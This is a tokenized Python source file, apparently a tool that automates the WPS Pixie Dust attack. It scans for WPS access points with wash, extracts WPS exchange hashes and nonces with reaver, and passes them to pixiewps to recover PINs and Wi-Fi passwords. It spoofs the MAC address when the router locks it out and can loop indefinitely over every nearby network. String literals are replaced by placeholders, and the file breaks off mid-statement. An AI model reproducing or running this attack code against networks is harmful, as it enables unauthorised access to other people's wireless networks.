<s> from os import kill , system , path , chdir <EOL> from signal import alarm , signal , SIGALRM , SIGKILL <EOL> import time <EOL> import subprocess <EOL> from re import sub , compile , search <EOL> from sys import argv <EOL> REAVER = '<STR_LIT>' <EOL> PIXIEWPS = '<STR_LIT>' <EOL> WASH = '<STR_LIT>' <EOL> AIRMON = '<STR_LIT>' <EOL> MACCHANGER = '<STR_LIT>' <EOL> GIT = '<STR_LIT>' <EOL> INFO = '<STR_LIT>' <EOL> ALERTA = '<STR_LIT>' <EOL> INPUT = '<STR_LIT>' <EOL> DATA = '<STR_LIT>' <EOL> OPCION = '<STR_LIT>' <EOL> USE_REAVER = False <EOL> USE_PIXIEWPS = False <EOL> WASH_TIME = <NUM_LIT:15> <EOL> WASH_CHANNEL = '<STR_LIT>' <EOL> REAVER_TIME = <NUM_LIT:6> <EOL> CHOICES_YES = [ '<STR_LIT:Y>' , '<STR_LIT:y>' , '<STR_LIT>' , '<STR_LIT:yes>' , '<STR_LIT>' ] <EOL> CHOICES_NOPE = [ '<STR_LIT:N>' , '<STR_LIT:n>' , '<STR_LIT>' , '<STR_LIT>' ] <EOL> PROMPT_APS = False <EOL> OUTPUT = False <EOL> OUTPUT_FILE = '<STR_LIT>' <EOL> PRINT_REAVER = True <EOL> PRINT_PIXIE = True <EOL> GET_PASSWORD = False <EOL> FOREVER = False <EOL> OVERRIDE = False <EOL> def banner ( ) : <EOL> """<STR_LIT>""" <EOL> print <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print <EOL> def arg_parser ( ) : <EOL> """<STR_LIT>""" <EOL> global PRINT_PIXIE <EOL> global PRINT_REAVER <EOL> global USE_REAVER <EOL> global USE_PIXIEWPS <EOL> global WASH_TIME <EOL> global REAVER_TIME <EOL> global WASH_CHANNEL <EOL> global PROMPT_APS <EOL> global OUTPUT_FILE <EOL> global OUTPUT <EOL> global GET_PASSWORD <EOL> global FOREVER <EOL> global OVERRIDE <EOL> H = [ '<STR_LIT>' , '<STR_LIT>' ] <EOL> binary_flags = [ '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT:-c>' , '<STR_LIT>' ] <EOL> for arg in argv [ <NUM_LIT:1> : ] : <EOL> if arg in H : <EOL> help ( ) <EOL> exit ( ) <EOL> elif argv [ argv . index ( arg ) - <NUM_LIT:1> ] in binary_flags : <EOL> continue <EOL> elif arg == '<STR_LIT>' or arg == '<STR_LIT>' : <EOL> PRINT_PIXIE = False <EOL> PRINT_REAVER = False <EOL> elif arg == '<STR_LIT>' or arg == '<STR_LIT>' : <EOL> USE_REAVER = True <EOL> elif arg == '<STR_LIT>' or arg == '<STR_LIT>' : <EOL> USE_PIXIEWPS = True <EOL> elif arg == '<STR_LIT>' or arg == '<STR_LIT>' : <EOL> try : <EOL> WASH_TIME = int ( argv [ argv . index ( arg ) + <NUM_LIT:1> ] ) <EOL> except ValueError : <EOL> help ( ) <EOL> elif arg == '<STR_LIT>' or arg == '<STR_LIT>' : <EOL> try : <EOL> REAVER_TIME = int ( argv [ argv . index ( arg ) + <NUM_LIT:1> ] ) <EOL> except ValueError : <EOL> help ( ) <EOL> elif arg == '<STR_LIT:-c>' or arg == '<STR_LIT>' : <EOL> try : <EOL> WASH_CHANNEL = int ( argv [ argv . index ( arg ) + <NUM_LIT:1> ] ) <EOL> except ValueError : <EOL> help ( ) <EOL> elif arg == '<STR_LIT>' or arg == '<STR_LIT>' : <EOL> PROMPT_APS = True <EOL> elif arg == '<STR_LIT>' or arg == '<STR_LIT>' : <EOL> OUTPUT = True <EOL> OUTPUT_FILE = argv [ argv . index ( arg ) + <NUM_LIT:1> ] <EOL> elif arg == '<STR_LIT>' or arg == '<STR_LIT>' : <EOL> GET_PASSWORD = True <EOL> elif arg == '<STR_LIT>' or arg == '<STR_LIT>' : <EOL> FOREVER = True <EOL> elif arg == '<STR_LIT>' or arg == '<STR_LIT>' : <EOL> OVERRIDE = True <EOL> else : <EOL> help ( ) <EOL> def help ( ) : <EOL> """<STR_LIT>""" <EOL> print <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print <EOL> print '<STR_LIT>' <EOL> print '<STR_LIT>' <EOL> print '<STR_LIT>' <EOL> print '<STR_LIT>' <EOL> print '<STR_LIT>' <EOL> print '<STR_LIT>' <EOL> print '<STR_LIT>' <EOL> print '<STR_LIT>' <EOL> print '<STR_LIT>' <EOL> print '<STR_LIT>' <EOL> print '<STR_LIT>' <EOL> print '<STR_LIT>' <EOL> print '<STR_LIT>' <EOL> print '<STR_LIT>' <EOL> print '<STR_LIT>' <EOL> print '<STR_LIT>' <EOL> print '<STR_LIT>' <EOL> print <EOL> exit ( ) <EOL> class Engine ( ) : <EOL> """<STR_LIT>""" <EOL> def __init__ ( self ) : <EOL> self . REAVER = True <EOL> self . PIXIEWPS = True <EOL> self . WASH = True <EOL> self . AIRMON = True <EOL> self . MACCHANGER = True <EOL> self . GIT = True <EOL> def start ( self ) : <EOL> """<STR_LIT>""" <EOL> chdir ( '<STR_LIT>' ) <EOL> if not c . check_iface ( ) : <EOL> c . set_iface ( "<STR_LIT>" ) <EOL> else : <EOL> print INFO + "<STR_LIT>" % c . IFACE_MON <EOL> choice = raw_input ( "<STR_LIT>" % INPUT ) <EOL> if choice in CHOICES_YES : <EOL> pass <EOL> elif choice in CHOICES_NOPE : <EOL> c . set_iface ( "<STR_LIT>" ) <EOL> c . set_iface ( "<STR_LIT>" ) <EOL> if FOREVER : <EOL> while True : <EOL> attack = Attack ( ) <EOL> attack . get_wps_aps ( ) <EOL> else : <EOL> attack = Attack ( ) <EOL> attack . get_wps_aps ( ) <EOL> engine . exit_limpio ( ) <EOL> def parse_wash ( self , linea ) : <EOL> """<STR_LIT>""" <EOL> linea = linea . split ( '<STR_LIT:|>' ) <EOL> bssid = linea [ <NUM_LIT:0> ] <EOL> canal = linea [ <NUM_LIT:1> ] <EOL> essid = linea [ - <NUM_LIT:1> ] <EOL> return [ bssid , canal , essid ] <EOL> def parse_reaver ( self , output , pin_encontrado = False ) : <EOL> """<STR_LIT>""" <EOL> if pin_encontrado : <EOL> password = '<STR_LIT>' <EOL> for linea in output : <EOL> if '<STR_LIT>' in linea : <EOL> password = sub ( '<STR_LIT>' , '<STR_LIT>' , linea ) <EOL> return password <EOL> if password == '<STR_LIT>' : <EOL> return '<STR_LIT>' <EOL> E_NONCE = '<STR_LIT>' <EOL> R_NONCE = '<STR_LIT>' <EOL> PKR = '<STR_LIT>' <EOL> PKE = '<STR_LIT>' <EOL> HASH1 = '<STR_LIT>' <EOL> HASH2 = '<STR_LIT>' <EOL> AUTHKEY = '<STR_LIT>' <EOL> MANUFACTURER = '<STR_LIT>' <EOL> MODEL = '<STR_LIT>' <EOL> NUMBER = '<STR_LIT>' <EOL> uberlista = [ ] <EOL> lista_final = [ ] <EOL> is_complete = False <EOL> has_something = False <EOL> if output == '<STR_LIT>' : <EOL> return '<STR_LIT>' <EOL> for linea in output : <EOL> if '<STR_LIT>' in linea : <EOL> has_something = True <EOL> elif '<STR_LIT>' in linea : <EOL> lista_final = output [ <NUM_LIT:0> : output . index ( linea ) + <NUM_LIT:1> ] <EOL> is_complete = True <EOL> break <EOL> elif '<STR_LIT>' in linea : <EOL> return '<STR_LIT>' <EOL> if has_something and not is_complete : <EOL> return '<STR_LIT>' <EOL> elif has_something == False : <EOL> return '<STR_LIT>' <EOL> for linea in lista_final : <EOL> if '<STR_LIT>' in linea : <EOL> E_NONCE = sub ( '<STR_LIT>' , '<STR_LIT>' , linea ) <EOL> elif '<STR_LIT>' in linea : <EOL> R_NONCE = sub ( '<STR_LIT>' , '<STR_LIT>' , linea ) <EOL> elif '<STR_LIT>' in linea : <EOL> PKR = sub ( '<STR_LIT>' , '<STR_LIT>' , linea ) <EOL> elif '<STR_LIT>' in linea : <EOL> PKE = sub ( '<STR_LIT>' , '<STR_LIT>' , linea ) <EOL> elif '<STR_LIT>' in linea : <EOL> HASH1 = sub ( '<STR_LIT>' , '<STR_LIT>' , linea ) <EOL> elif '<STR_LIT>' in linea : <EOL> HASH2 = sub ( '<STR_LIT>' , '<STR_LIT>' , linea ) <EOL> elif '<STR_LIT>' in linea : <EOL> AUTHKEY = sub ( '<STR_LIT>' , '<STR_LIT>' , linea ) <EOL> elif '<STR_LIT>' in linea : <EOL> MANUFACTURER = sub ( '<STR_LIT>' , '<STR_LIT>' , linea ) <EOL> elif '<STR_LIT>' in linea : <EOL> MODEL = sub ( '<STR_LIT>' , '<STR_LIT>' , linea ) <EOL> elif '<STR_LIT>' in linea : <EOL> NUMBER = sub ( '<STR_LIT>' , '<STR_LIT>' , linea ) <EOL> elif '<STR_LIT>' in linea : <EOL> ESSID = sub ( '<STR_LIT>' , '<STR_LIT:|>' , linea ) <EOL> ESSID = ESSID . split ( '<STR_LIT:|>' ) [ - <NUM_LIT:1> ] [ : - <NUM_LIT:2> ] <EOL> elif '<STR_LIT>' in linea : <EOL> BSSID = sub ( '<STR_LIT>' , '<STR_LIT>' , linea ) <EOL> else : <EOL> pass <EOL> uberlista = [ PKE . strip ( ) , PKR . strip ( ) , HASH1 . strip ( ) , HASH2 . strip ( ) , AUTHKEY . strip ( ) , <EOL> MANUFACTURER . strip ( ) , MODEL . strip ( ) , NUMBER . strip ( ) , E_NONCE . strip ( ) , R_NONCE . strip ( ) , <EOL> ESSID . strip ( ) , BSSID . strip ( ) ] <EOL> return uberlista <EOL> def check ( self , check_again = False ) : <EOL> """<STR_LIT>""" <EOL> if c . get_uid ( ) != '<STR_LIT:0>' : <EOL> print ALERTA + '<STR_LIT>' <EOL> exit ( ) <EOL> if c . program_exists ( MACCHANGER ) : <EOL> self . MACCHANGER = True <EOL> elif not check_again : <EOL> print ALERTA + '<STR_LIT>' <EOL> print '<STR_LIT>' <EOL> print '<STR_LIT>' <EOL> print '<STR_LIT>' <EOL> print '<STR_LIT>' <EOL> self . MACCHANGER = False <EOL> if c . program_exists ( REAVER ) : <EOL> version = c . check_reaver_version ( ) <EOL> if version == '<STR_LIT>' : <EOL> self . REAVER = True <EOL> else : <EOL> print ALERTA + "<STR_LIT>" <EOL> self . REAVER = False <EOL> elif not check_again : <EOL> print ALERTA + '<STR_LIT>' <EOL> self . REAVER = False <EOL> if c . program_exists ( PIXIEWPS ) : <EOL> self . PIXIEWPS = True <EOL> elif not check_again : <EOL> print ALERTA + '<STR_LIT>' <EOL> self . PIXIEWPS = False <EOL> if c . program_exists ( WASH ) : <EOL> self . WASH = True <EOL> elif not check_again : <EOL> print ALERTA + '<STR_LIT>' <EOL> self . WASH = False <EOL> if c . program_exists ( GIT ) : <EOL> self . GIT = True <EOL> elif not check_again : <EOL> self . GIT = False <EOL> if self . REAVER and self . AIRMON and self . WASH and self . PIXIEWPS and check_again : <EOL> print INFO + "<STR_LIT>" <EOL> raw_input ( "<STR_LIT>" % INPUT ) <EOL> print INFO + "<STR_LIT>" <EOL> elif check_again : <EOL> print <EOL> print ALERTA + "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print <EOL> exit ( ) <EOL> if self . REAVER and self . WASH and self . PIXIEWPS : <EOL> pass <EOL> else : <EOL> print ALERTA + "<STR_LIT>" <EOL> print INPUT + "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> choice = raw_input ( "<STR_LIT>" % INPUT ) <EOL> if choice in CHOICES_YES : <EOL> c . get_binarios ( ) <EOL> else : <EOL> exit ( ) <EOL> engine . start ( ) <EOL> def run ( self , cmd , shell = False , kill_tree = True , timeout = - <NUM_LIT:1> ) : <EOL> """<STR_LIT>""" <EOL> class Alarm ( Exception ) : <EOL> pass <EOL> def alarm_handler ( signum , frame ) : <EOL> raise Alarm <EOL> if timeout != - <NUM_LIT:1> : <EOL> signal ( SIGALRM , alarm_handler ) <EOL> alarm ( timeout ) <EOL> proc = subprocess . Popen ( cmd , shell = shell , stdout = subprocess . PIPE ) <EOL> output = [ ] <EOL> try : <EOL> for line in iter ( proc . stdout . readline , '<STR_LIT>' ) : <EOL> output . append ( line ) <EOL> if timeout != - <NUM_LIT:1> : <EOL> alarm ( <NUM_LIT:0> ) <EOL> except Alarm : <EOL> pids = [ proc . pid ] <EOL> if kill_tree : <EOL> pids . extend ( self . get_process_children ( proc . pid ) ) <EOL> for pid in pids : <EOL> try : <EOL> kill ( pid , SIGKILL ) <EOL> except OSError : <EOL> pass <EOL> return output <EOL> return output <EOL> def get_process_children ( self , pid ) : <EOL> """<STR_LIT>""" <EOL> proc = subprocess . Popen ( '<STR_LIT>' % pid , shell = True , stdout = subprocess . PIPE ) <EOL> stdout = proc . communicate ( ) [ <NUM_LIT:0> ] <EOL> return [ int ( p ) for p in stdout . split ( ) ] <EOL> def mac_changer ( self ) : <EOL> """<STR_LIT>""" <EOL> print INFO + "<STR_LIT>" <EOL> system ( '<STR_LIT>' % c . IFACE_MON ) <EOL> system ( '<STR_LIT>' % c . IFACE_MON ) <EOL> system ( '<STR_LIT>' % c . IFACE_MON ) <EOL> system ( '<STR_LIT>' % c . IFACE_MON ) <EOL> mac = subprocess . check_output ( [ '<STR_LIT>' , '<STR_LIT>' , c . IFACE_MON ] ) <EOL> mac = mac . split ( '<STR_LIT:\n>' ) [ <NUM_LIT:2> ] <EOL> mac = sub ( '<STR_LIT>' , '<STR_LIT>' , mac . strip ( ) ) <EOL> mac = sub ( '<STR_LIT>' , '<STR_LIT>' , mac ) <EOL> system ( '<STR_LIT>' % c . IFACE_MON ) <EOL> system ( '<STR_LIT>' % c . IFACE_MON ) <EOL> system ( '<STR_LIT>' % c . IFACE_MON ) <EOL> system ( '<STR_LIT>' % c . IFACE_MON ) <EOL> print INFO + "<STR_LIT>" % ( INPUT , mac . upper ( ) ) <EOL> def exit_limpio ( self ) : <EOL> """<STR_LIT>""" <EOL> if path . isfile ( '<STR_LIT>' ) or path . isfile ( '<STR_LIT>' ) : <EOL> print OPCION + "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> choice = raw_input ( "<STR_LIT>" % INPUT ) <EOL> if choice in CHOICES_YES : <EOL> system ( '<STR_LIT>' ) <EOL> if c . IS_MON : <EOL> c . set_iface ( "<STR_LIT>" ) <EOL> if USE_REAVER : <EOL> system ( '<STR_LIT>' ) <EOL> exit ( ) <EOL> class Config ( ) : <EOL> """<STR_LIT>""" <EOL> IFACE_MON = '<STR_LIT>' <EOL> IFACE = '<STR_LIT>' <EOL> IS_MON = False <EOL> def program_exists ( self , programa ) : <EOL> """<STR_LIT>""" <EOL> cmd = "<STR_LIT>" + programa <EOL> output = subprocess . Popen ( cmd , shell = True , stdout = subprocess . PIPE ) <EOL> output = output . communicate ( ) [ <NUM_LIT:0> ] <EOL> if output != "<STR_LIT>" : <EOL> return True <EOL> else : <EOL> return False <EOL> def get_uid ( self ) : <EOL> """<STR_LIT>""" <EOL> uid = subprocess . check_output ( [ '<STR_LIT:id>' , '<STR_LIT>' ] ) . strip ( ) <EOL> return uid <EOL> def check_iface ( self ) : <EOL> """<STR_LIT>""" <EOL> proc = subprocess . Popen ( '<STR_LIT>' , shell = True , stdout = subprocess . PIPE , stderr = subprocess . PIPE ) . communicate ( ) [ <NUM_LIT:0> ] . strip ( ) . split ( '<STR_LIT:\n>' ) <EOL> mon = '<STR_LIT>' <EOL> for linea in proc : <EOL> if '<STR_LIT>' in linea : <EOL> mon = linea [ <NUM_LIT:0> : <NUM_LIT:10> ] . strip ( ) <EOL> if mon != '<STR_LIT>' : <EOL> self . IFACE_MON , self . IFACE = mon , mon <EOL> self . IS_MON = True <EOL> return True <EOL> else : <EOL> return False <EOL> def get_iface ( self ) : <EOL> """<STR_LIT>""" <EOL> if self . IS_MON : <EOL> proc = subprocess . Popen ( '<STR_LIT>' , shell = True , stdout = subprocess . PIPE , stderr = subprocess . PIPE ) . communicate ( ) [ <NUM_LIT:0> ] . strip ( ) . split ( '<STR_LIT:\n>' ) <EOL> for linea in proc : <EOL> if '<STR_LIT>' in linea : <EOL> mon = linea [ <NUM_LIT:0> : <NUM_LIT:10> ] . strip ( ) <EOL> self . IFACE_MON = mon <EOL> return mon <EOL> else : <EOL> proc = subprocess . Popen ( '<STR_LIT>' , shell = True , stdout = subprocess . PIPE , stderr = subprocess . PIPE ) . communicate ( ) [ <NUM_LIT:0> ] . strip ( ) . split ( '<STR_LIT:\n>' ) <EOL> ifaces = [ ] <EOL> for linea in proc : <EOL> if '<STR_LIT>' in linea : <EOL> ifaces . append ( linea [ <NUM_LIT:0> : <NUM_LIT:10> ] . strip ( ) ) <EOL> if len ( ifaces ) == <NUM_LIT:1> and ifaces [ <NUM_LIT:0> ] == '<STR_LIT>' : <EOL> print ALERTA + "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> exit ( ) <EOL> elif len ( ifaces ) > <NUM_LIT:1> : <EOL> print INPUT + "<STR_LIT>" <EOL> for i in ifaces : <EOL> print str ( ifaces . index ( i ) ) + "<STR_LIT>" + i <EOL> while True : <EOL> try : <EOL> choice = int ( raw_input ( INPUT ) ) <EOL> self . IFACE = ifaces [ choice ] <EOL> return ifaces [ choice ] <EOL> break <EOL> except IndexError : <EOL> print ALERTA + "<STR_LIT>" % ( len ( ifaces ) - <NUM_LIT:1> ) <EOL> except ValueError : <EOL> print ALERTA + "<STR_LIT>" % ( len ( ifaces ) - <NUM_LIT:1> ) <EOL> except KeyboardInterrupt : <EOL> print <EOL> print ALERTA + "<STR_LIT>" <EOL> print <EOL> engine . exit_limpio ( ) <EOL> else : <EOL> self . IFACE = ifaces [ <NUM_LIT:0> ] <EOL> return ifaces [ <NUM_LIT:0> ] <EOL> def set_iface ( self , status ) : <EOL> """<STR_LIT>""" <EOL> if self . IS_MON : <EOL> print INFO + '<STR_LIT>' % self . get_iface ( ) <EOL> system ( '<STR_LIT>' % ( self . IFACE_MON ) ) <EOL> system ( '<STR_LIT>' % ( self . IFACE_MON ) ) <EOL> system ( '<STR_LIT>' % ( self . IFACE_MON ) ) <EOL> self . IS_MON = False <EOL> print INFO + '<STR_LIT>' <EOL> else : <EOL> print INFO + '<STR_LIT>' % ( self . get_iface ( ) ) <EOL> system ( '<STR_LIT>' % ( self . IFACE ) ) <EOL> system ( '<STR_LIT>' % ( self . IFACE ) ) <EOL> system ( '<STR_LIT>' % ( self . IFACE ) ) <EOL> self . IFACE_MON = self . IFACE <EOL> self . IS_MON = True <EOL> print INFO + "<STR_LIT>" % self . IFACE <EOL> def data_file ( self , data ) : <EOL> """<STR_LIT>""" <EOL> system ( '<STR_LIT>' % OUTPUT_FILE ) <EOL> with open ( OUTPUT_FILE , '<STR_LIT>' ) as f : <EOL> fecha = str ( time . gmtime ( ) [ <NUM_LIT:1> ] ) + '<STR_LIT:->' + str ( time . gmtime ( ) [ <NUM_LIT:2> ] ) + '<STR_LIT:->' + str ( time . gmtime ( ) [ <NUM_LIT:0> ] ) <EOL> hora = str ( ( time . gmtime ( ) [ <NUM_LIT:3> ] ) - <NUM_LIT:3> ) . zfill ( <NUM_LIT:2> ) + '<STR_LIT::>' + str ( time . gmtime ( ) [ <NUM_LIT:4> ] ) . zfill ( <NUM_LIT:2> ) <EOL> f . write ( fecha + '<STR_LIT>' + hora + '<STR_LIT:\n>' ) <EOL> f . writelines ( data ) <EOL> print INFO + "<STR_LIT>" % OUTPUT_FILE <EOL> def get_binarios ( self ) : <EOL> """<STR_LIT>""" <EOL> git = '<STR_LIT>' <EOL> reaver_dep = '<STR_LIT>' <EOL> pixie_dep = '<STR_LIT>' <EOL> reaver = '<STR_LIT>' <EOL> pixiewps = '<STR_LIT>' <EOL> aircrack = '<STR_LIT>' <EOL> if not engine . GIT : <EOL> print INFO + "<STR_LIT>" <EOL> proc4 = system ( git ) <EOL> if not engine . AIRMON : <EOL> print INFO + "<STR_LIT>" <EOL> proc5 = system ( aircrack ) <EOL> if not engine . PIXIEWPS : <EOL> print INFO + "<STR_LIT>" <EOL> proc2 = system ( pixie_dep ) <EOL> print INFO + "<STR_LIT>" <EOL> proc3 = system ( pixiewps ) <EOL> if not engine . REAVER : <EOL> print INFO + "<STR_LIT>" <EOL> proc = system ( reaver_dep ) <EOL> print INFO + "<STR_LIT>" <EOL> proc1 = system ( reaver ) <EOL> if path . isdir ( '<STR_LIT>' ) and not engine . PIXIEWPS : <EOL> print INFO + "<STR_LIT>" <EOL> system ( '<STR_LIT>' ) <EOL> print INFO + "<STR_LIT>" <EOL> if path . isdir ( '<STR_LIT>' ) and not engine . REAVER : <EOL> print INFO + "<STR_LIT>" <EOL> system ( '<STR_LIT>' ) <EOL> print INFO + "<STR_LIT>" <EOL> engine . check ( check_again = True ) <EOL> def check_reaver_version ( self ) : <EOL> """<STR_LIT>""" <EOL> output = subprocess . Popen ( '<STR_LIT>' , shell = True , stdout = subprocess . PIPE , stderr = subprocess . PIPE ) <EOL> output = output . communicate ( ) <EOL> if '<STR_LIT>' in output [ <NUM_LIT:0> ] and '<STR_LIT>' in output [ <NUM_LIT:0> ] : <EOL> return '<STR_LIT>' <EOL> elif output [ <NUM_LIT:0> ] != '<STR_LIT>' : <EOL> return output [ <NUM_LIT:0> ] [ <NUM_LIT:9> : <NUM_LIT:12> ] <EOL> elif '<STR_LIT>' in output [ <NUM_LIT:1> ] and '<STR_LIT>' in output [ <NUM_LIT:1> ] : <EOL> return '<STR_LIT>' <EOL> elif output [ <NUM_LIT:1> ] != '<STR_LIT>' : <EOL> return output [ <NUM_LIT:1> ] [ <NUM_LIT:9> : <NUM_LIT:12> ] <EOL> class Attack ( ) : <EOL> """<STR_LIT>""" <EOL> def get_wps_aps ( self ) : <EOL> """<STR_LIT>""" <EOL> print INFO + "<STR_LIT>" <EOL> cmd = '<STR_LIT>' % ( c . IFACE_MON ) <EOL> if WASH_CHANNEL != '<STR_LIT>' : <EOL> cmd = cmd + '<STR_LIT>' % WASH_CHANNEL <EOL> lista_aps = engine . run ( cmd , shell = True , timeout = WASH_TIME ) <EOL> lista_provisoria = [ ] <EOL> ultimo = len ( lista_aps ) - <NUM_LIT:1> <EOL> for linea in lista_aps : <EOL> if '<STR_LIT:|>' in linea : <EOL> lista_provisoria . append ( linea ) <EOL> lista_aps = lista_provisoria <EOL> if lista_aps == [ ] : <EOL> print <EOL> print ALERTA + "<STR_LIT>" <EOL> print <EOL> if not FOREVER : <EOL> engine . exit_limpio ( ) <EOL> else : <EOL> for_fill = lista_aps <EOL> essids = [ ] <EOL> for line in for_fill : <EOL> line = line . split ( '<STR_LIT:|>' ) <EOL> essids . append ( line [ <NUM_LIT:5> ] . strip ( ) ) <EOL> fill = len ( max ( essids ) ) <EOL> print INFO + "<STR_LIT>" <EOL> for linea in lista_aps : <EOL> linea = linea . split ( '<STR_LIT:|>' ) <EOL> fill_line = fill - len ( linea [ <NUM_LIT:5> ] . strip ( ) ) <EOL> print '<STR_LIT:\t>' + INPUT + str ( linea [ <NUM_LIT:5> ] . strip ( ) ) + '<STR_LIT:U+0020>' * fill_line + '<STR_LIT>' + linea [ <NUM_LIT:0> ] + '<STR_LIT>' + linea [ <NUM_LIT:1> ] + '<STR_LIT>' + linea [ <NUM_LIT:4> ] <EOL> if USE_REAVER : <EOL> while True : <EOL> try : <EOL> if len ( lista_aps ) != <NUM_LIT:1> and PROMPT_APS : <EOL> choice = int ( raw_input ( "<STR_LIT>" % INPUT ) ) <EOL> provisoria = [ ] <EOL> provisoria . append ( lista_aps [ choice ] ) <EOL> lista_aps = provisoria <EOL> break <EOL> else : <EOL> break <EOL> except KeyboardInterrupt : <EOL> print <EOL> engine . exit_limpio ( ) <EOL> break <EOL> except ValueError : <EOL> print ALERTA + "<STR_LIT>" % ultimo <EOL> if not OVERRIDE and path . isfile ( '<STR_LIT>' ) : <EOL> coincidencias = [ ] <EOL> pin_correspondiente = [ ] <EOL> with open ( '<STR_LIT>' ) as f : <EOL> ya_sacados = f . readlines ( ) <EOL> if len ( ya_sacados ) > <NUM_LIT:1> : <EOL> ya_sacados . reverse ( ) <EOL> for target in lista_aps : <EOL> for line in ya_sacados [ <NUM_LIT:1> : ] : <EOL> if target . split ( '<STR_LIT:|>' ) [ <NUM_LIT:5> ] . strip ( ) == line . strip ( ) : <EOL> coincidencias . append ( target ) <EOL> pin_correspondiente . append ( ya_sacados [ ya_sacados . index ( line ) - <NUM_LIT:1> ] . strip ( ) ) <EOL> for i in set ( coincidencias ) : <EOL> print OPCION + "<STR_LIT>" % i . split ( '<STR_LIT:|>' ) [ <NUM_LIT:5> ] . strip ( ) <EOL> print '<STR_LIT:\t>' + INPUT + pin_correspondiente [ coincidencias . index ( i ) ] <EOL> print OPCION + "<STR_LIT>" <EOL> try : <EOL> choice = raw_input ( "<STR_LIT>" % INPUT ) <EOL> except KeyboardInterrupt : <EOL> print <EOL> engine . exit_limpio ( ) <EOL> if choice in CHOICES_YES : <EOL> lista_aps . remove ( i ) <EOL> for linea in lista_aps : <EOL> args = engine . parse_wash ( linea . strip ( ) ) <EOL> self . get_reaver_info ( args [ <NUM_LIT:0> ] , args [ <NUM_LIT:1> ] , args [ <NUM_LIT:2> ] ) <EOL> if not FOREVER : <EOL> engine . exit_limpio ( ) <EOL> else : <EOL> pass <EOL> def get_reaver_info ( self , bssid , canal , essid ) : <EOL> """<STR_LIT>""" <EOL> print INFO + "<STR_LIT>" % essid <EOL> output = engine . run ( cmd = [ '<STR_LIT>' , '<STR_LIT>' , c . IFACE_MON , '<STR_LIT>' , bssid , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT:-c>' , canal ] , timeout = REAVER_TIME ) <EOL> data = engine . parse_reaver ( output ) <EOL> if data == '<STR_LIT>' : <EOL> print <EOL> print ALERTA + "<STR_LIT>" <EOL> print ALERTA + "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print <EOL> if MACCHANGER and FOREVER : <EOL> engine . mac_changer ( ) <EOL> elif MACCHANGER and not FOREVER : <EOL> print ALERTA + "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print <EOL> elif not MACCHANGER : <EOL> print ALERTA + "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print <EOL> elif data == '<STR_LIT>' : <EOL> print <EOL> print ALERTA + "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print <EOL> elif data == '<STR_LIT>' : <EOL> print <EOL> print ALERTA + "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print <EOL> if MACCHANGER and FOREVER : <EOL> engine . mac_changer ( ) <EOL> elif MACCHANGER and not FOREVER : <EOL> print ALERTA + "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print <EOL> elif not MACCHANGER : <EOL> print ALERTA + "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print <EOL> elif data == '<STR_LIT>' : <EOL> print <EOL> print "<STR_LIT>" <EOL> if not FOREVER : <EOL> engine . exit_limpio ( ) <EOL> else : <EOL> print INFO + "<STR_LIT>" <EOL> for_file = [ '<STR_LIT>' + data [ <NUM_LIT:10> ] + '<STR_LIT:\n>' , '<STR_LIT>' + data [ <NUM_LIT:11> ] + '<STR_LIT:\n>' , '<STR_LIT>' + data [ <NUM_LIT:0> ] + '<STR_LIT:\n>' , <EOL> '<STR_LIT>' + data [ <NUM_LIT:1> ] + '<STR_LIT:\n>' , '<STR_LIT>' + data [ <NUM_LIT:2> ] + '<STR_LIT:\n>' , '<STR_LIT>' + data [ <NUM_LIT:3> ] + '<STR_LIT:\n>' , <EOL> '<STR_LIT>' + data [ <NUM_LIT:8> ] + '<STR_LIT:\n>' , '<STR_LIT>' + data [ <NUM_LIT:9> ] + '<STR_LIT:\n>' , '<STR_LIT>' + data [ <NUM_LIT:4> ] + '<STR_LIT:\n>' , <EOL> '<STR_LIT>' + data [ <NUM_LIT:5> ] + '<STR_LIT:\n>' , '<STR_LIT>' + data [ <NUM_LIT:6> ] + '<STR_LIT:\n>' , '<STR_LIT>' + data [ <NUM_LIT:7> ] + '<STR_LIT:\n>' ] <EOL> if PRINT_REAVER : <EOL> print <EOL> for linea in for_file : <EOL> print DATA + linea . strip ( ) <EOL> print <EOL> if OUTPUT and not USE_PIXIEWPS : <EOL> for_file . append ( '<STR_LIT:->' * <NUM_LIT> + '<STR_LIT:\n>' ) <EOL> c . data_file ( for_file ) <EOL> if USE_PIXIEWPS : <EOL> self . pixie_attack ( data , for_file , canal ) <EOL> def pixie_attack ( self , data , for_file , canal ) : <EOL> """<STR_LIT>""" <EOL> ESSID = data [ <NUM_LIT:10> ] <EOL> BSSID = data [ <NUM_LIT:11> ] <EOL> PKE = data [ <NUM_LIT:0> ] <EOL> PKR = data [ <NUM_LIT:1> ] <EOL> HASH1 = data [ <NUM_LIT:2> ] <EOL> HASH2 = data [ <NUM_LIT:3> ] <EOL> AUTHKEY = data [ <NUM_LIT:4> ] <EOL> E_NONCE = data [ <NUM_LIT:8> ] <EOL> R_NONCE = data [ <NUM_LIT:9> ] <EOL> cmd = [ '<STR_LIT>' , '<STR_LIT>' , PKE , '<STR_LIT>' , PKR , '<STR_LIT>' , HASH1 , '<STR_LIT>' , HASH2 , '<STR_LIT>' , AUTHKEY , '<STR_LIT>' , E_NONCE ] <EOL> cmd1 = [ '<STR_LIT>' , 